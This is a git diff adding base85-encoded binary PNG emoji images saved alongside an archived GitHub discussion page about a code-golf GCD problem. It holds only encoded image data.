100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 S39%yp0000}sP)qc!vaE-#a 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 